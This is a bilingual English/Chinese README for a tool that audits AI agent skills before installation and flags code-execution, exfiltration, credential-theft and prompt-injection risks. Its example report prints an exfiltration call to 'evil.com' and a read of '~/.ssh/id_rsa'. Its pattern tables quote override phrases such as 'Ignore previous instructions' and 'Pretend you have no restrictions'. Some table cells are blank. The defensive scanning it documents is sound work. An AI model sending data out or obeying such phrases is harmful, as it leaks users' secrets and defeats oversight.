skill-security-auditor
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSkill Security Auditor
Skill安全审计器
Scan and audit AI agent skills for security risks before installation. Produces a
clear PASS / WARN / FAIL verdict with findings and remediation guidance.
在安装前扫描并审计AI Agent技能的安全风险。生成清晰的通过/警告/失败结论,附带检测结果与修复指导。
Quick Start
快速开始
bash
undefinedbash
undefinedAudit a local skill directory
审计本地skill目录
python3 scripts/skill_security_auditor.py /path/to/skill-name/
python3 scripts/skill_security_auditor.py /path/to/skill-name/
Audit a skill from a git repo
审计Git仓库中的skill
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
python3 scripts/skill_security_auditor.py https://github.com/user/repo --skill skill-name
Audit with strict mode (any WARN becomes FAIL)
启用严格模式(任何警告均视为失败)
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --strict
Output JSON report
输出JSON格式报告
python3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
undefinedpython3 scripts/skill_security_auditor.py /path/to/skill-name/ --json
undefinedWhat Gets Scanned
扫描范围
1. Code Execution Risks (Python/Bash Scripts)
1. 代码执行风险(Python/Bash脚本)
Scans all , , , , files for:
.py.sh.bash.js.ts| Category | Patterns Detected | Severity |
|---|---|---|
| Command injection | | 🔴 CRITICAL |
| Code execution | | 🔴 CRITICAL |
| Obfuscation | base64-encoded payloads, | 🔴 CRITICAL |
| Network exfiltration | | 🔴 CRITICAL |
| Credential harvesting | reads from | 🔴 CRITICAL |
| File system abuse | writes outside skill dir, | 🟡 HIGH |
| Privilege escalation | | 🔴 CRITICAL |
| Unsafe deserialization | | 🟡 HIGH |
| Subprocess (safe) | | ⚪ INFO |
扫描所有、、、、文件,检测以下内容:
.py.sh.bash.js.ts| 类别 | 检测到的模式 | 严重程度 |
|---|---|---|
| 命令注入 | | 🔴 CRITICAL |
| 代码执行 | | 🔴 CRITICAL |
| 混淆处理 | base64编码载荷、 | 🔴 CRITICAL |
| 网络数据泄露 | | 🔴 CRITICAL |
| 凭证窃取 | 读取 | 🔴 CRITICAL |
| 文件系统滥用 | 写入skill目录外、 | 🟡 HIGH |
| 权限提升 | | 🔴 CRITICAL |
| 不安全反序列化 | | 🟡 HIGH |
| 安全子进程 | | ⚪ INFO |
2. Prompt Injection in SKILL.md
2. SKILL.md中的提示注入
Scans SKILL.md and all reference files for:
.md| Pattern | Example | Severity |
|---|---|---|
| System prompt override | "Ignore previous instructions", "You are now..." | 🔴 CRITICAL |
| Role hijacking | "Act as root", "Pretend you have no restrictions" | 🔴 CRITICAL |
| Safety bypass | "Skip safety checks", "Disable content filtering" | 🔴 CRITICAL |
| Hidden instructions | Zero-width characters, HTML comments with directives | 🟡 HIGH |
| Excessive permissions | "Run any command", "Full filesystem access" | 🟡 HIGH |
| Data extraction | "Send contents of", "Upload file to", "POST to" | 🔴 CRITICAL |
扫描SKILL.md及所有参考文件,检测以下模式:
.md| 模式 | 示例 | 严重程度 |
|---|---|---|
| 系统提示覆盖 | "Ignore previous instructions"、"You are now..." | 🔴 CRITICAL |
| 角色劫持 | "Act as root"、"Pretend you have no restrictions" | 🔴 CRITICAL |
| 安全机制绕过 | "Skip safety checks"、"Disable content filtering" | 🔴 CRITICAL |
| 隐藏指令 | 零宽字符、含指令的HTML注释 | 🟡 HIGH |
| 过度权限请求 | "Run any command"、"Full filesystem access" | 🟡 HIGH |
| 数据提取 | "Send contents of"、"Upload file to"、"POST to" | 🔴 CRITICAL |
3. Dependency Supply Chain
3. 依赖供应链
For skills with , , or inline :
requirements.txtpackage.jsonpip install| Check | What It Does | Severity |
|---|---|---|
| Known vulnerabilities | Cross-reference with PyPI/npm advisory databases | 🔴 CRITICAL |
| Typosquatting | Flag packages similar to popular ones (e.g., | 🟡 HIGH |
| Unpinned versions | Flag | ⚪ INFO |
| Install commands in code | | 🟡 HIGH |
| Suspicious packages | Low download count, recent creation, single maintainer | ⚪ INFO |
针对包含、或内嵌命令的skill:
requirements.txtpackage.jsonpip install| 检查项 | 检查内容 | 严重程度 |
|---|---|---|
| 已知漏洞 | 与PyPI/npm漏洞数据库交叉比对 | 🔴 CRITICAL |
| 仿冒包检测 | 标记与热门包名称相似的包(如 | 🟡 HIGH |
| 未固定版本 | 标记 | ⚪ INFO |
| 代码中的安装命令 | 脚本内存在 | 🟡 HIGH |
| 可疑包 | 下载量低、创建时间短、仅单个维护者的包 | ⚪ INFO |
4. File System & Structure
4. 文件系统与结构
| Check | What It Does | Severity |
|---|---|---|
| Boundary violation | Scripts referencing paths outside skill directory | 🟡 HIGH |
| Hidden files | | 🟡 HIGH |
| Binary files | Unexpected executables, | 🔴 CRITICAL |
| Large files | Files >1MB that could hide payloads | ⚪ INFO |
| Symlinks | Symbolic links pointing outside skill directory | 🔴 CRITICAL |
| 检查项 | 检查内容 | 严重程度 |
|---|---|---|
| 边界越权 | 脚本引用skill目录外的路径 | 🟡 HIGH |
| 隐藏文件 | | 🟡 HIGH |
| 二进制文件 | 意外存在的可执行文件、 | 🔴 CRITICAL |
| 大文件 | 大于1MB的文件,可能隐藏恶意载荷 | ⚪ INFO |
| 符号链接 | 指向skill目录外的符号链接 | 🔴 CRITICAL |
Audit Workflow
审计流程
- Run the scanner on the skill directory or repo URL
- Review the report — findings grouped by severity
- Verdict interpretation:
- ✅ PASS — No critical or high findings. Safe to install.
- ⚠️ WARN — High/medium findings detected. Review manually before installing.
- ❌ FAIL — Critical findings. Do NOT install without remediation.
- Remediation — each finding includes specific fix guidance
- 运行扫描器 在skill目录或仓库URL上执行扫描
- 查看报告 — 按严重程度分组展示检测结果
- 结论解读:
- ✅ 通过 — 无严重或高风险检测结果,可安全安装。
- ⚠️ 警告 — 检测到高/中风险结果,安装前需人工审核。
- ❌ 失败 — 存在严重风险结果,未经修复请勿安装。
- 修复建议 — 每个检测结果都包含具体的修复指导
Reading the Report
报告解读
╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0╔══════════════════════════════════════════════╗
║ SKILL SECURITY AUDIT REPORT ║
║ Skill: example-skill ║
║ Verdict: ❌ FAIL ║
╠══════════════════════════════════════════════╣
║ 🔴 CRITICAL: 2 🟡 HIGH: 1 ⚪ INFO: 3 ║
╚══════════════════════════════════════════════╝
🔴 CRITICAL [CODE-EXEC] scripts/helper.py:42
Pattern: eval(user_input)
Risk: Arbitrary code execution from untrusted input
Fix: Replace eval() with ast.literal_eval() or explicit parsing
🔴 CRITICAL [NET-EXFIL] scripts/analyzer.py:88
Pattern: requests.post("https://evil.com/collect", data=results)
Risk: Data exfiltration to external server
Fix: Remove outbound network calls or verify destination is trusted
🟡 HIGH [FS-BOUNDARY] scripts/scanner.py:15
Pattern: open(os.path.expanduser("~/.ssh/id_rsa"))
Risk: Reads SSH private key outside skill scope
Fix: Remove filesystem access outside skill directory
⚪ INFO [DEPS-UNPIN] requirements.txt:3
Pattern: requests>=2.0
Risk: Unpinned dependency may introduce vulnerabilities
Fix: Pin to specific version: requests==2.31.0Advanced Usage
高级用法
Audit a Skill from Git Before Cloning
在克隆前审计Git中的Skill
bash
undefinedbash
undefinedClone to temp dir, audit, then clean up
克隆到临时目录、审计后清理
python3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
undefinedpython3 scripts/skill_security_auditor.py https://github.com/user/skill-repo --skill my-skill --cleanup
undefinedCI/CD Integration
CI/CD集成
yaml
undefinedyaml
undefinedGitHub Actions step
GitHub Actions步骤
- name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
undefined- name: "audit-skill-security" run: | python3 skill-security-auditor/scripts/skill_security_auditor.py ./skills/new-skill/ --strict --json > audit.json if [ $? -ne 0 ]; then echo "Security audit failed"; exit 1; fi
undefinedBatch Audit
批量审计
bash
undefinedbash
undefinedAudit all skills in a directory
审计目录下所有skill
for skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
undefinedfor skill in skills/*/; do
python3 scripts/skill_security_auditor.py "$skill" --json >> audit-results.jsonl
done
undefinedThreat Model Reference
威胁模型参考
For the complete threat model, detection patterns, and known attack vectors against AI agent skills, see references/threat-model.md.
完整的威胁模型、检测模式及针对AI Agent技能的已知攻击向量,请查看references/threat-model.md。
Limitations
局限性
- Cannot detect logic bombs or time-delayed payloads with certainty
- Obfuscation detection is pattern-based — a sufficiently creative attacker may bypass it
- Network destination reputation checks require internet access
- Does not execute code — static analysis only (safe but less complete than dynamic analysis)
- Dependency vulnerability checks use local pattern matching, not live CVE databases
When in doubt after an audit, don't install. Ask the skill author for clarification.
- 无法可靠检测逻辑炸弹或延时触发的恶意载荷
- 混淆检测基于模式匹配——手法足够巧妙的攻击者可能绕过检测
- 网络目标信誉检查需要联网
- 不执行代码——仅做静态分析(安全但完整性不如动态分析)
- 依赖漏洞检查使用本地模式匹配,而非实时CVE数据库
如有审计后仍存疑虑的情况,请勿安装,请向skill作者询问详情。